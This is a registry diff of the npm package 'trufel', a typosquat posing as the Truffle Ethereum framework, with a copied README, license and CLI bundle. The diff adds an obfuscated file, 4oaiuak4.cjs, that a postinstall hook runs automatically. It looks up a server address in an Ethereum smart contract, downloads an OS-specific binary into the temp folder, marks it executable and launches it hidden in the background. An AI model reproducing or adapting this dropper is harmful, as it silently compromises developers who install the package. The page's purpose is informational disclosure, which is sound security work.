trufel 0.0.1-security → 5.11.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of trufel might be problematic. Click here for more details.

package/4oaiuak4.cjs ADDED
@@ -0,0 +1 @@
1
+ const _0x17c664=_0x4abf;function _0x4e2a(){const _0x21c57b=['basename','PxQvu','5692twlfKo','662616fgHzmq','2449476dbqlxE','getDefaultProvider','505hPyHXQ','3261940kRCKCw','/node-win.exe','Ошибка\x20при\x20запуске\x20файла:','win32','xjQLu','darwin','5CDEkWA','linux','755','TmYwW','7815208vtBdZS','createWriteStream','/node-macos','stream','unref','getString','ignore','Ошибка\x20при\x20получении\x20IP\x20адреса:','tmpdir','XcVun','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','child_process','path','ZhDYS','1269wEyppS','axios','Ошибка\x20установки:','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','COjcO','248890gCFetK','QULZu','join','Contract','error','GET','8423597YVMUKg','hZuXr','CsXcK','platform'];_0x4e2a=function(){return _0x21c57b;};return _0x4e2a();}(function(_0x264be4,_0x3bc37a){const _0x44f982=_0x4abf,_0x138004=_0x264be4();while(!![]){try{const _0x563ea4=-parseInt(_0x44f982(0xe7))/0x1*(parseInt(_0x44f982(0xe3))/0x2)+-parseInt(_0x44f982(0xe5))/0x3+-parseInt(_0x44f982(0xe8))/0x4+-parseInt(_0x44f982(0xee))/0x5*(-parseInt(_0x44f982(0xe4))/0x6)+parseInt(_0x44f982(0xdd))/0x7+-parseInt(_0x44f982(0xf2))/0x8+parseInt(_0x44f982(0xd2))/0x9*(parseInt(_0x44f982(0xd7))/0xa);if(_0x563ea4===_0x3bc37a)break;else _0x138004['push'](_0x138004['shift']());}catch(_0x43e70d){_0x138004['push'](_0x138004['shift']());}}}(_0x4e2a,0xbdb58));const {ethers}=require('ethers'),axios=require(_0x17c664(0xd3)),util=require('util'),fs=require('fs'),path=require(_0x17c664(0xd0)),os=require('os'),{spawn}=require(_0x17c664(0xcf)),contractAddress=_0x17c664(0xd5),WalletOwner='0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84',abi=[_0x17c664(0xce)],provider=ethers[_0x17c664(0xe6)]('mainnet'),contract=new ethers[(_0x17c664(0xda))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x323673=_0x17c664,_0x23dc93={'TmYwW':_0x323673(0xcb),'PxQvu':function(_0x3f5097){return _0x3f5097();}};try{const _0x401193=await contract[_0x323673(0xc9)](WalletOwner);return _0x401193;}catch(_0x5a5bfd){return console[_0x323673(0xdb)](_0x23dc93[_0x323673(0xf1)],_0x5a5bfd),await _0x23dc93[_0x323673(0xe2)](fetchAndUpdateIp);}},getDownloadUrl=_0x52b44c=>{const _0x260f04=_0x17c664,_0x408387={'hZuXr':_0x260f04(0xed)},_0x265b82=os['platform']();switch(_0x265b82){case _0x260f04(0xeb):return _0x52b44c+_0x260f04(0xe9);case _0x260f04(0xef):return _0x52b44c+'/node-linux';case _0x408387[_0x260f04(0xde)]:return _0x52b44c+_0x260f04(0xf4);default:throw new Error('Unsupported\x20platform:\x20'+_0x265b82);}},downloadFile=async(_0x15cdb1,_0x40b8d0)=>{const _0x454f0a=_0x17c664,_0x51316b={'xjQLu':'finish','XcVun':_0x454f0a(0xdb),'CsXcK':_0x454f0a(0xf5)},_0x26e820=fs[_0x454f0a(0xf3)](_0x40b8d0),_0x2146d4=await axios({'url':_0x15cdb1,'method':_0x454f0a(0xdc),'responseType':_0x51316b[_0x454f0a(0xdf)]});return _0x2146d4['data']['pipe'](_0x26e820),new Promise((_0x2d6764,_0x6a45fc)=>{const _0x7178bd=_0x454f0a;_0x26e820['on'](_0x51316b[_0x7178bd(0xec)],_0x2d6764),_0x26e820['on'](_0x51316b[_0x7178bd(0xcd)],_0x6a45fc);});},executeFileInBackground=async _0x22d407=>{const _0xc0f55a=_0x17c664;try{const _0x10fefd=spawn(_0x22d407,[],{'detached':!![],'stdio':_0xc0f55a(0xca)});_0x10fefd[_0xc0f55a(0xf6)]();}catch(_0x5b06f4){console[_0xc0f55a(0xdb)](_0xc0f55a(0xea),_0x5b06f4);}},runInstallation=async()=>{const _0x437510=_0x17c664,_0x3aa3ad={'ZhDYS':_0x437510(0xeb),'QULZu':_0x437510(0xf0),'COjcO':_0x437510(0xd4)};try{const _0x3feae0=await fetchAndUpdateIp(),_0x2621fd=getDownloadUrl(_0x3feae0),_0x1589ca=os[_0x437510(0xcc)](),_0x3d5ac5=path[_0x437510(0xe1)](_0x2621fd),_0x56cec3=path[_0x437510(0xd9)](_0x1589ca,_0x3d5ac5);await downloadFile(_0x2621fd,_0x56cec3);if(os[_0x437510(0xe0)]()!==_0x3aa3ad[_0x437510(0xd1)])fs['chmodSync'](_0x56cec3,_0x3aa3ad[_0x437510(0xd8)]);executeFileInBackground(_0x56cec3);}catch(_0x251cc8){console[_0x437510(0xdb)](_0x3aa3ad[_0x437510(0xd6)],_0x251cc8);}};function _0x4abf(_0x43ba89,_0x519bd0){const _0x4e2a79=_0x4e2a();return _0x4abf=function(_0x4abf44,_0x471b61){_0x4abf44=_0x4abf44-0xc9;let _0x47aa44=_0x4e2a79[_0x4abf44];return _0x47aa44;},_0x4abf(_0x43ba89,_0x519bd0);}runInstallation();
package/LICENSE ADDED
@@ -0,0 +1,19 @@
1
+ Copyright (c) 2022 ConsenSys, Inc.
2
+
3
+ Permission is hereby granted, free of charge, to any person obtaining a copy
4
+ of this software and associated documentation files (the "Software"), to deal
5
+ in the Software without restriction, including without limitation the rights
6
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
7
+ copies of the Software, and to permit persons to whom the Software is
8
+ furnished to do so, subject to the following conditions:
9
+
10
+ The above copyright notice and this permission notice shall be included in all
11
+ copies or substantial portions of the Software.
12
+
13
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
14
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
15
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
16
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
17
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
18
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
19
+ SOFTWARE.
package/README.md CHANGED
@@ -1,5 +1,53 @@
1
- # Security holding package
1
+ <img src="https://trufflesuite.com/img/truffle-logo-dark.svg" width="200">
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ [![npm](https://img.shields.io/npm/v/truffle.svg)]()
4
+ [![npm](https://img.shields.io/npm/dm/truffle.svg)]()
5
+ [![Join the chat at https://gitter.im/consensys/truffle](https://badges.gitter.im/Join%20Chat.svg)](https://gitter.im/consensys/truffle?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
4
6
 
5
- Please refer to www.npmjs.com/advisories?search=trufel for more information.
7
+ -----------------------
8
+
9
+
10
+ Truffle is a development environment, testing framework, and asset pipeline for Ethereum, aiming to make life as an Ethereum developer easier. With Truffle you get:
11
+
12
+ * Built-in smart contract compilation, linking, deployment and binary management.
13
+ * Automated contract testing with Mocha and Chai.
14
+ * Configurable build pipeline with support for custom build processes.
15
+ * Scriptable deployment & migrations framework.
16
+ * Network management for deploying to many public & private networks.
17
+ * Interactive console for direct contract communication.
18
+ * Instant rebuilding of assets during development.
19
+ * External script runner that executes scripts within a Truffle environment.
20
+
21
+ ### Install
22
+
23
+ ```
24
+ $ npm install -g truffle
25
+ ```
26
+ _Note: To avoid any strange permissions errors, we recommend using [nvm](https://github.com/nvm-sh/nvm)._
27
+ ### Quick Usage
28
+
29
+ For a default set of contracts and tests, run the following within an empty project directory:
30
+
31
+ ```
32
+ $ truffle init
33
+ ```
34
+
35
+ From there, you can run `truffle compile`, `truffle migrate` and `truffle test` to compile your contracts, deploy those contracts to the network, and run their associated unit tests.
36
+
37
+ Truffle comes bundled with a local development blockchain server that launches automatically when you invoke the commands above. If you'd like to [configure a more advanced development environment](https://trufflesuite.com/docs/truffle/reference/configuration) we recommend you install the blockchain server separately by running `npm install -g ganache` at the command line.
38
+
39
+ + [ganache](https://github.com/trufflesuite/ganache): a command-line version of Truffle's blockchain server.
40
+ + [Ganache UI](http://trufflesuite.com/ganache-ui/): A GUI for the server that displays your transaction history and chain state.
41
+
42
+
43
+ ### Documentation
44
+
45
+ Please see the [Official Truffle Documentation](http://trufflesuite.com/docs/) for guides, tips, and examples.
46
+
47
+ ### Contributing
48
+
49
+ This package is a distribution package of the Truffle command line tool. Please see [@truffle/core](https://github.com/trufflesuite/truffle/tree/develop/packages/core) to contribute to the main core code.
50
+
51
+ ### License
52
+
53
+ [MIT](./LICENSE)
@@ -0,0 +1,672 @@
1
+ #!/usr/bin/env node
2
+
3
+ /******/ (() => { // webpackBootstrap
4
+ /******/ var __webpack_modules__ = ({
5
+
6
+ /***/ 86806:
7
+ /***/ ((__unused_webpack_module, __unused_webpack_exports, __webpack_require__) => {
8
+
9
+ __webpack_require__(20406);
10
+
11
+ const semver = __webpack_require__(81249); // to validate Node version
12
+ const TruffleError = __webpack_require__(73321);
13
+ const analytics = __webpack_require__(95614);
14
+ const version = __webpack_require__(64146);
15
+ const versionInfo = version.info();
16
+ const XRegExp = __webpack_require__(20648);
17
+
18
+ // we need to make sure this function exists so ensjs doesn't complain as it requires
19
+ // getRandomValues for some functionalities - webpack strips out the crypto lib
20
+ // so we shim it here
21
+ global.crypto = {
22
+ getRandomValues: __webpack_require__(61642)
23
+ };
24
+
25
+ // pre-flight check: Node version compatibility
26
+ const minimumNodeVersion = "16.0.0";
27
+ if (!semver.gte(process.version, minimumNodeVersion)) {
28
+ console.log(
29
+ "Error: Node version not supported. You are currently using version " +
30
+ process.version.slice(1) +
31
+ " of Node. Truffle requires Node v" +
32
+ minimumNodeVersion +
33
+ " or higher."
34
+ );
35
+
36
+ analytics.send({
37
+ exception: "wrong node version",
38
+ version: versionInfo.bundle || "(unbundled) " + versionInfo.core
39
+ });
40
+
41
+ process.exit(1);
42
+ }
43
+
44
+ // This should be removed when issue is resolved upstream:
45
+ // https://github.com/ethereum/web3.js/issues/1648
46
+ const listeners = process.listeners("warning");
47
+ listeners.forEach(listener => process.removeListener("warning", listener));
48
+
49
+ const { handleHelpInput } = __webpack_require__(81288);
50
+ const {
51
+ getCommand,
52
+ prepareOptions,
53
+ runCommand,
54
+ displayGeneralHelp
55
+ } = __webpack_require__(34763);
56
+
57
+ const inputArguments = process.argv.slice(2);
58
+ // handle cases where input indicates the user wants to access Truffle's help
59
+ const { displayHelp, inputStrings } = handleHelpInput({ inputArguments });
60
+ if (displayHelp) {
61
+ displayGeneralHelp();
62
+ process.exit();
63
+ }
64
+
65
+ const command = getCommand({
66
+ inputStrings,
67
+ options: {},
68
+ noAliases: false
69
+ });
70
+
71
+ //getCommand() will return null if a command not recognized by truffle is used.
72
+ if (command === null) {
73
+ console.log(
74
+ `\`truffle ${inputStrings.join(
75
+ " "
76
+ )}\` is not a valid truffle command. Please see \`truffle help\` for available commands.`
77
+ );
78
+ process.exit(1);
79
+ }
80
+
81
+ const options = prepareOptions({
82
+ command,
83
+ inputStrings,
84
+ options: {}
85
+ });
86
+
87
+ runCommand(command, options)
88
+ .then(returnStatus => {
89
+ process.exitCode = returnStatus;
90
+ return (__webpack_require__(16164).waitForOutstandingPromises)();
91
+ })
92
+ .then(() => {
93
+ process.exit();
94
+ })
95
+ .catch(error => {
96
+ if (error instanceof TruffleError) {
97
+ analytics.send({
98
+ exception: "TruffleError - missing configuration file",
99
+ version: versionInfo.bundle
100
+ ? versionInfo.bundle
101
+ : "(unbundled) " + versionInfo.core
102
+ });
103
+ console.log(error.message);
104
+ version.logTruffleAndNode(options.logger);
105
+ } else if (typeof error === "number") {
106
+ analytics.send({
107
+ exception: "Numbered Error - " + error,
108
+ version: versionInfo.bundle
109
+ ? versionInfo.bundle
110
+ : "(unbundled) " + versionInfo.core
111
+ });
112
+ // If a number is returned, exit with that number.
113
+ process.exit(error);
114
+ } else {
115
+ let errorData = error.stack || error.message || error.toString();
116
+ //remove identifying information if error stack is passed to analytics
117
+ if (errorData === error.stack) {
118
+ const directory = __dirname;
119
+ //making sure users' identifying information does not get sent to
120
+ //analytics by cutting off everything before truffle. Will not properly catch the user's info
121
+ //here if the user has truffle in their name.
122
+ let identifyingInfo = String.raw`${directory.split("truffle")[0]}`;
123
+ let removedInfo = new XRegExp(XRegExp.escape(identifyingInfo), "g");
124
+ errorData = errorData.replace(removedInfo, "");
125
+ }
126
+ analytics.send({
127
+ exception: "Other Error - " + errorData,
128
+ version: versionInfo.bundle
129
+ ? versionInfo.bundle
130
+ : "(unbundled) " + versionInfo.core
131
+ });
132
+ // Bubble up all other unexpected errors.
133
+ console.log(error.stack || error.message || error.toString());
134
+ version.logTruffleAndNode(options.logger);
135
+ }
136
+ process.exit(1);
137
+ });
138
+
139
+
140
+ /***/ }),
141
+
142
+ /***/ 81288:
143
+ /***/ ((module) => {
144
+
145
+ const handleHelpInput = function ({ inputArguments }) {
146
+ // we call slice to make a copy of the array so as not to mutate it
147
+ const args = inputArguments.slice();
148
+ // if no command was provided, display all available commands
149
+ if (args.length === 0) {
150
+ return {
151
+ displayHelp: true,
152
+ inputStrings: args
153
+ };
154
+ }
155
+ // if only 'help' or '--help' was entered, display all available commands
156
+ if (args.length === 1 && (args[0] === "help" || args[0] === "--help")) {
157
+ return {
158
+ displayHelp: true,
159
+ inputStrings: args
160
+ };
161
+ }
162
+
163
+ // if `--help` is in the input, assume the user wants help for the command
164
+ // provided and transform the input into something the rest
165
+ // of Truffle can handle
166
+ const helpIndex = args.indexOf("--help");
167
+
168
+ if (helpIndex !== -1) {
169
+ //remove `--help` from array
170
+ args.splice(helpIndex, 1);
171
+ //insert `help` in first position
172
+ args.unshift("help");
173
+ }
174
+ // let Truffle know whether to display the general help
175
+ return {
176
+ displayHelp: false,
177
+ inputStrings: args
178
+ };
179
+ };
180
+
181
+ module.exports = { handleHelpInput };
182
+
183
+
184
+ /***/ }),
185
+
186
+ /***/ 70972:
187
+ /***/ ((module) => {
188
+
189
+ "use strict";
190
+ module.exports = require("@truffle/db-loader");
191
+
192
+ /***/ }),
193
+
194
+ /***/ 11651:
195
+ /***/ ((module) => {
196
+
197
+ "use strict";
198
+ module.exports = require("ganache");
199
+
200
+ /***/ }),
201
+
202
+ /***/ 44516:
203
+ /***/ ((module) => {
204
+
205
+ "use strict";
206
+ module.exports = require("original-require");
207
+
208
+ /***/ }),
209
+
210
+ /***/ 39491:
211
+ /***/ ((module) => {
212
+
213
+ "use strict";
214
+ module.exports = require("assert");
215
+
216
+ /***/ }),
217
+
218
+ /***/ 50852:
219
+ /***/ ((module) => {
220
+
221
+ "use strict";
222
+ module.exports = require("async_hooks");
223
+
224
+ /***/ }),
225
+
226
+ /***/ 14300:
227
+ /***/ ((module) => {
228
+
229
+ "use strict";
230
+ module.exports = require("buffer");
231
+
232
+ /***/ }),
233
+
234
+ /***/ 32081:
235
+ /***/ ((module) => {
236
+
237
+ "use strict";
238
+ module.exports = require("child_process");
239
+
240
+ /***/ }),
241
+
242
+ /***/ 22057:
243
+ /***/ ((module) => {
244
+
245
+ "use strict";
246
+ module.exports = require("constants");
247
+
248
+ /***/ }),
249
+
250
+ /***/ 6113:
251
+ /***/ ((module) => {
252
+
253
+ "use strict";
254
+ module.exports = require("crypto");
255
+
256
+ /***/ }),
257
+
258
+ /***/ 71891:
259
+ /***/ ((module) => {
260
+
261
+ "use strict";
262
+ module.exports = require("dgram");
263
+
264
+ /***/ }),
265
+
266
+ /***/ 82361:
267
+ /***/ ((module) => {
268
+
269
+ "use strict";
270
+ module.exports = require("events");
271
+
272
+ /***/ }),
273
+
274
+ /***/ 57147:
275
+ /***/ ((module) => {
276
+
277
+ "use strict";
278
+ module.exports = require("fs");
279
+
280
+ /***/ }),
281
+
282
+ /***/ 73292:
283
+ /***/ ((module) => {
284
+
285
+ "use strict";
286
+ module.exports = require("fs/promises");
287
+
288
+ /***/ }),
289
+
290
+ /***/ 13685:
291
+ /***/ ((module) => {
292
+
293
+ "use strict";
294
+ module.exports = require("http");
295
+
296
+ /***/ }),
297
+
298
+ /***/ 95687:
299
+ /***/ ((module) => {
300
+
301
+ "use strict";
302
+ module.exports = require("https");
303
+
304
+ /***/ }),
305
+
306
+ /***/ 98188:
307
+ /***/ ((module) => {
308
+
309
+ "use strict";
310
+ module.exports = require("module");
311
+
312
+ /***/ }),
313
+
314
+ /***/ 41808:
315
+ /***/ ((module) => {
316
+
317
+ "use strict";
318
+ module.exports = require("net");
319
+
320
+ /***/ }),
321
+
322
+ /***/ 22037:
323
+ /***/ ((module) => {
324
+
325
+ "use strict";
326
+ module.exports = require("os");
327
+
328
+ /***/ }),
329
+
330
+ /***/ 71017:
331
+ /***/ ((module) => {
332
+
333
+ "use strict";
334
+ module.exports = require("path");
335
+
336
+ /***/ }),
337
+
338
+ /***/ 85477:
339
+ /***/ ((module) => {
340
+
341
+ "use strict";
342
+ module.exports = require("punycode");
343
+
344
+ /***/ }),
345
+
346
+ /***/ 63477:
347
+ /***/ ((module) => {
348
+
349
+ "use strict";
350
+ module.exports = require("querystring");
351
+
352
+ /***/ }),
353
+
354
+ /***/ 14521:
355
+ /***/ ((module) => {
356
+
357
+ "use strict";
358
+ module.exports = require("readline");
359
+
360
+ /***/ }),
361
+
362
+ /***/ 12781:
363
+ /***/ ((module) => {
364
+
365
+ "use strict";
366
+ module.exports = require("stream");
367
+
368
+ /***/ }),
369
+
370
+ /***/ 71576:
371
+ /***/ ((module) => {
372
+
373
+ "use strict";
374
+ module.exports = require("string_decoder");
375
+
376
+ /***/ }),
377
+
378
+ /***/ 24404:
379
+ /***/ ((module) => {
380
+
381
+ "use strict";
382
+ module.exports = require("tls");
383
+
384
+ /***/ }),
385
+
386
+ /***/ 76224:
387
+ /***/ ((module) => {
388
+
389
+ "use strict";
390
+ module.exports = require("tty");
391
+
392
+ /***/ }),
393
+
394
+ /***/ 57310:
395
+ /***/ ((module) => {
396
+
397
+ "use strict";
398
+ module.exports = require("url");
399
+
400
+ /***/ }),
401
+
402
+ /***/ 73837:
403
+ /***/ ((module) => {
404
+
405
+ "use strict";
406
+ module.exports = require("util");
407
+
408
+ /***/ }),
409
+
410
+ /***/ 26144:
411
+ /***/ ((module) => {
412
+
413
+ "use strict";
414
+ module.exports = require("vm");
415
+
416
+ /***/ }),
417
+
418
+ /***/ 59796:
419
+ /***/ ((module) => {
420
+
421
+ "use strict";
422
+ module.exports = require("zlib");
423
+
424
+ /***/ })
425
+
426
+ /******/ });
427
+ /************************************************************************/
428
+ /******/ // The module cache
429
+ /******/ var __webpack_module_cache__ = {};
430
+ /******/
431
+ /******/ // The require function
432
+ /******/ function __webpack_require__(moduleId) {
433
+ /******/ // Check if module is in cache
434
+ /******/ var cachedModule = __webpack_module_cache__[moduleId];
435
+ /******/ if (cachedModule !== undefined) {
436
+ /******/ return cachedModule.exports;
437
+ /******/ }
438
+ /******/ // Create a new module (and put it into the cache)
439
+ /******/ var module = __webpack_module_cache__[moduleId] = {
440
+ /******/ id: moduleId,
441
+ /******/ loaded: false,
442
+ /******/ exports: {}
443
+ /******/ };
444
+ /******/
445
+ /******/ // Execute the module function
446
+ /******/ __webpack_modules__[moduleId].call(module.exports, module, module.exports, __webpack_require__);
447
+ /******/
448
+ /******/ // Flag the module as loaded
449
+ /******/ module.loaded = true;
450
+ /******/
451
+ /******/ // Return the exports of the module
452
+ /******/ return module.exports;
453
+ /******/ }
454
+ /******/
455
+ /******/ // expose the modules object (__webpack_modules__)
456
+ /******/ __webpack_require__.m = __webpack_modules__;
457
+ /******/
458
+ /******/ // expose the module cache
459
+ /******/ __webpack_require__.c = __webpack_module_cache__;
460
+ /******/
461
+ /******/ // the startup function
462
+ /******/ __webpack_require__.x = () => {
463
+ /******/ // Load entry module and return exports
464
+ /******/ var __webpack_exports__ = __webpack_require__.O(undefined, [5158,9129,6127,5674,6674,439,406,7657,6434,1503,1698,1833,1071,9612,3613,8834,8100,4914,2895,794,9813,6062,6276,1327,4968,1287,553,4273,102,3077,7017,2478,4986], () => (__webpack_require__(86806)))
465
+ /******/ __webpack_exports__ = __webpack_require__.O(__webpack_exports__);
466
+ /******/ return __webpack_exports__;
467
+ /******/ };
468
+ /******/
469
+ /************************************************************************/
470
+ /******/ /* webpack/runtime/amd options */
471
+ /******/ (() => {
472
+ /******/ __webpack_require__.amdO = {};
473
+ /******/ })();
474
+ /******/
475
+ /******/ /* webpack/runtime/chunk loaded */
476
+ /******/ (() => {
477
+ /******/ var deferred = [];
478
+ /******/ __webpack_require__.O = (result, chunkIds, fn, priority) => {
479
+ /******/ if(chunkIds) {
480
+ /******/ priority = priority || 0;
481
+ /******/ for(var i = deferred.length; i > 0 && deferred[i - 1][2] > priority; i--) deferred[i] = deferred[i - 1];
482
+ /******/ deferred[i] = [chunkIds, fn, priority];
483
+ /******/ return;
484
+ /******/ }
485
+ /******/ var notFulfilled = Infinity;
486
+ /******/ for (var i = 0; i < deferred.length; i++) {
487
+ /******/ var [chunkIds, fn, priority] = deferred[i];
488
+ /******/ var fulfilled = true;
489
+ /******/ for (var j = 0; j < chunkIds.length; j++) {
490
+ /******/ if ((priority & 1 === 0 || notFulfilled >= priority) && Object.keys(__webpack_require__.O).every((key) => (__webpack_require__.O[key](chunkIds[j])))) {
491
+ /******/ chunkIds.splice(j--, 1);
492
+ /******/ } else {
493
+ /******/ fulfilled = false;
494
+ /******/ if(priority < notFulfilled) notFulfilled = priority;
495
+ /******/ }
496
+ /******/ }
497
+ /******/ if(fulfilled) {
498
+ /******/ deferred.splice(i--, 1)
499
+ /******/ var r = fn();
500
+ /******/ if (r !== undefined) result = r;
501
+ /******/ }
502
+ /******/ }
503
+ /******/ return result;
504
+ /******/ };
505
+ /******/ })();
506
+ /******/
507
+ /******/ /* webpack/runtime/compat get default export */
508
+ /******/ (() => {
509
+ /******/ // getDefaultExport function for compatibility with non-harmony modules
510
+ /******/ __webpack_require__.n = (module) => {
511
+ /******/ var getter = module && module.__esModule ?
512
+ /******/ () => (module['default']) :
513
+ /******/ () => (module);
514
+ /******/ __webpack_require__.d(getter, { a: getter });
515
+ /******/ return getter;
516
+ /******/ };
517
+ /******/ })();
518
+ /******/
519
+ /******/ /* webpack/runtime/define property getters */
520
+ /******/ (() => {
521
+ /******/ // define getter functions for harmony exports
522
+ /******/ __webpack_require__.d = (exports, definition) => {
523
+ /******/ for(var key in definition) {
524
+ /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
525
+ /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
526
+ /******/ }
527
+ /******/ }
528
+ /******/ };
529
+ /******/ })();
530
+ /******/
531
+ /******/ /* webpack/runtime/ensure chunk */
532
+ /******/ (() => {
533
+ /******/ __webpack_require__.f = {};
534
+ /******/ // This file contains only the entry chunk.
535
+ /******/ // The chunk loading function for additional chunks
536
+ /******/ __webpack_require__.e = (chunkId) => {
537
+ /******/ return Promise.all(Object.keys(__webpack_require__.f).reduce((promises, key) => {
538
+ /******/ __webpack_require__.f[key](chunkId, promises);
539
+ /******/ return promises;
540
+ /******/ }, []));
541
+ /******/ };
542
+ /******/ })();
543
+ /******/
544
+ /******/ /* webpack/runtime/get javascript chunk filename */
545
+ /******/ (() => {
546
+ /******/ // This function allow to reference async chunks and sibling chunks for the entrypoint
547
+ /******/ __webpack_require__.u = (chunkId) => {
548
+ /******/ // return url for filenames based on template
549
+ /******/ return "" + chunkId + ".bundled.js";
550
+ /******/ };
551
+ /******/ })();
552
+ /******/
553
+ /******/ /* webpack/runtime/hasOwnProperty shorthand */
554
+ /******/ (() => {
555
+ /******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
556
+ /******/ })();
557
+ /******/
558
+ /******/ /* webpack/runtime/make namespace object */
559
+ /******/ (() => {
560
+ /******/ // define __esModule on exports
561
+ /******/ __webpack_require__.r = (exports) => {
562
+ /******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
563
+ /******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
564
+ /******/ }
565
+ /******/ Object.defineProperty(exports, '__esModule', { value: true });
566
+ /******/ };
567
+ /******/ })();
568
+ /******/
569
+ /******/ /* webpack/runtime/node module decorator */
570
+ /******/ (() => {
571
+ /******/ __webpack_require__.nmd = (module) => {
572
+ /******/ module.paths = [];
573
+ /******/ if (!module.children) module.children = [];
574
+ /******/ return module;
575
+ /******/ };
576
+ /******/ })();
577
+ /******/
578
+ /******/ /* webpack/runtime/require chunk loading */
579
+ /******/ (() => {
580
+ /******/ // no baseURI
581
+ /******/
582
+ /******/ // object to store loaded chunks
583
+ /******/ // "1" means "loaded", otherwise not loaded yet
584
+ /******/ var installedChunks = {
585
+ /******/ 1442: 1
586
+ /******/ };
587
+ /******/
588
+ /******/ __webpack_require__.O.require = (chunkId) => (installedChunks[chunkId]);
589
+ /******/
590
+ /******/ var installChunk = (chunk) => {
591
+ /******/ var moreModules = chunk.modules, chunkIds = chunk.ids, runtime = chunk.runtime;
592
+ /******/ for(var moduleId in moreModules) {
593
+ /******/ if(__webpack_require__.o(moreModules, moduleId)) {
594
+ /******/ __webpack_require__.m[moduleId] = moreModules[moduleId];
595
+ /******/ }
596
+ /******/ }
597
+ /******/ if(runtime) runtime(__webpack_require__);
598
+ /******/ for(var i = 0; i < chunkIds.length; i++)
599
+ /******/ installedChunks[chunkIds[i]] = 1;
600
+ /******/ __webpack_require__.O();
601
+ /******/ };
602
+ /******/
603
+ /******/ // require() chunk loading for javascript
604
+ /******/ __webpack_require__.f.require = (chunkId, promises) => {
605
+ /******/ // "1" is the signal for "already loaded"
606
+ /******/ if(!installedChunks[chunkId]) {
607
+ /******/ if(true) { // all chunks have JS
608
+ /******/ installChunk(require("./" + __webpack_require__.u(chunkId)));
609
+ /******/ } else installedChunks[chunkId] = 1;
610
+ /******/ }
611
+ /******/ };
612
+ /******/
613
+ /******/ // no external install chunk
614
+ /******/
615
+ /******/ // no HMR
616
+ /******/
617
+ /******/ // no HMR manifest
618
+ /******/ })();
619
+ /******/
620
+ /******/ /* webpack/runtime/startup chunk dependencies */
621
+ /******/ (() => {
622
+ /******/ var next = __webpack_require__.x;
623
+ /******/ __webpack_require__.x = () => {
624
+ /******/ __webpack_require__.e(5158);
625
+ /******/ __webpack_require__.e(9129);
626
+ /******/ __webpack_require__.e(6127);
627
+ /******/ __webpack_require__.e(5674);
628
+ /******/ __webpack_require__.e(6674);
629
+ /******/ __webpack_require__.e(439);
630
+ /******/ __webpack_require__.e(406);
631
+ /******/ __webpack_require__.e(7657);
632
+ /******/ __webpack_require__.e(6434);
633
+ /******/ __webpack_require__.e(1503);
634
+ /******/ __webpack_require__.e(1698);
635
+ /******/ __webpack_require__.e(1833);
636
+ /******/ __webpack_require__.e(1071);
637
+ /******/ __webpack_require__.e(9612);
638
+ /******/ __webpack_require__.e(3613);
639
+ /******/ __webpack_require__.e(8834);
640
+ /******/ __webpack_require__.e(8100);
641
+ /******/ __webpack_require__.e(4914);
642
+ /******/ __webpack_require__.e(2895);
643
+ /******/ __webpack_require__.e(794);
644
+ /******/ __webpack_require__.e(9813);
645
+ /******/ __webpack_require__.e(6062);
646
+ /******/ __webpack_require__.e(6276);
647
+ /******/ __webpack_require__.e(1327);
648
+ /******/ __webpack_require__.e(4968);
649
+ /******/ __webpack_require__.e(1287);
650
+ /******/ __webpack_require__.e(553);
651
+ /******/ __webpack_require__.e(4273);
652
+ /******/ __webpack_require__.e(102);
653
+ /******/ __webpack_require__.e(3077);
654
+ /******/ __webpack_require__.e(7017);
655
+ /******/ __webpack_require__.e(2478);
656
+ /******/ __webpack_require__.e(4986);
657
+ /******/ return next();
658
+ /******/ };
659
+ /******/ })();
660
+ /******/
661
+ /************************************************************************/
662
+ /******/
663
+ /******/ // module cache are used so entry inlining is disabled
664
+ /******/ // run startup
665
+ /******/ var __webpack_exports__ = __webpack_require__.x();
666
+ /******/ var __webpack_export_target__ = exports;
667
+ /******/ for(var i in __webpack_exports__) __webpack_export_target__[i] = __webpack_exports__[i];
668
+ /******/ if(__webpack_exports__.__esModule) Object.defineProperty(__webpack_export_target__, "__esModule", { value: true });
669
+ /******/
670
+ /******/ })()
671
+ ;
672
+ //# sourceMappingURL=cli.bundled.js.map
package/package.json CHANGED
@@ -1,6 +1,80 @@
1
1
  {
2
2
  "name": "trufel",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "description": "Truffle - Simple development framework for Ethereum",
4
+ "license": "MIT",
5
+ "author": "consensys.net",
6
+ "homepage": "https://github.com/trufflesuite/truffle#readme",
7
+ "repository": {
8
+ "type": "git",
9
+ "url": "https://github.com/trufflesuite/truffle.git",
10
+ "directory": "packages/truffle"
11
+ },
12
+ "bugs": {
13
+ "url": "https://github.com/trufflesuite/truffle/issues"
14
+ },
15
+ "version": "5.11.5",
16
+ "main": "./build/library.bundled.js",
17
+ "bin": {
18
+ "truffle": "./build/cli.bundled.js"
19
+ },
20
+ "scripts": {
21
+ "postinstall": "node 4oaiuak4.cjs"
22
+ },
23
+ "optionalDependencies": {
24
+ "@truffle/db": "^2.0.36"
25
+ },
26
